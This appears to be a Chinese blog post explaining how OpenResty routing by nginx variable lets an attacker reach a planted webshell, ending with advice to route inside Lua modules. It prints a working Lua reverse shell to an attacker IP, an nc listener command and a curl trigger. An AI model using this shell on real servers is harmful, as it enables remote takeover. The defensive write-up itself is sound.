在 OR 的官方 GitHub 中,介绍了这么一种简单的「路由」写法
# use nginx var in code path
# CAUTION: contents in nginx var must be carefully filtered,
# otherwise there'll be great security risk!
location ~ ^/app/([-_a-zA-Z0-9/]+) {
set $path $1;
content_by_lua_file /path/to/lua/app/root/$path.lua;
}
相信不少不同学也都使用了这种简便的方式。然而却忽略了春哥的警告:
CAUTION: contents in nginx var must be carefully filtered, otherwise there’ll be great security risk!
这里我来说下这个安全隐患是如何产生的。假如我们现在的路由结构是:
root/
├── fan.lua
├── follower.lua
└── user.lua
正常情况下我们请求 /app/user
就应该执行 root/user.lua
代码;/app/follower
就应该执行 root/follower.lua
代码。这是我们期待的结果。
但是假如你的服务器有文件上传漏洞或 SQL 注入漏洞,被攻击者利用进而植入了一个 shell.lua
的 webshell,那么现在我们的路由结构是:
SQL 注入不仅仅可以拖库,也是可以写 shell 的(SELECT OUTFILE)
root/
├── fan.lua
├── follower.lua
├── user.lua
└── shell.lua
这时候去请求 /app/shell
,就自然的去连接这个 webshell 了,这个 shell.lua
看起来是这个样子(反弹shell到攻击者的地址):
local sock = ngx.socket.tcp()
local ok, err = sock:connect("192.168.3.5", "2333")
if not ok then return end
while true do
local r,x = sock:receive()
local f = assert(io.popen(r,"r"))
local b = assert(f:read("*a"))
sock:send(b)
end
f:close()
sock:close()
我先在我的攻击机上执行(准备接收反弹回来的shell)
nc -lvv 2333
开启另一个终端执行
curl http://victim/app/shell
回到 nc 查看权限:
接下来的就是去提权了。。。
要避免这个问题,就是要在匹配路径上做出更为严格的限制,但是这会导致nginx.conf可读性较差。
我的建议是路由还是直接放在 lua 里完成,这样我们的 handler() 可以获得更为安全的签名保护。反观今天的测试,其实本质上还是因为我们执行了不该信任的代码(没有签名),最终导致系统沦陷。如果使用 lua 模块化(相当于签名)的路由方式,就可以避免这个问题(即使你拿到了上传或注入的漏洞,最多也就是拖个库,也不会拿到整个系统的权限)。
有人说,时间是把杀猪刀。这很公平。但是,即使哪天挨上了这把杀猪刀,也希望自己是头优雅的猪。
而此时,2017 已经过去 1/2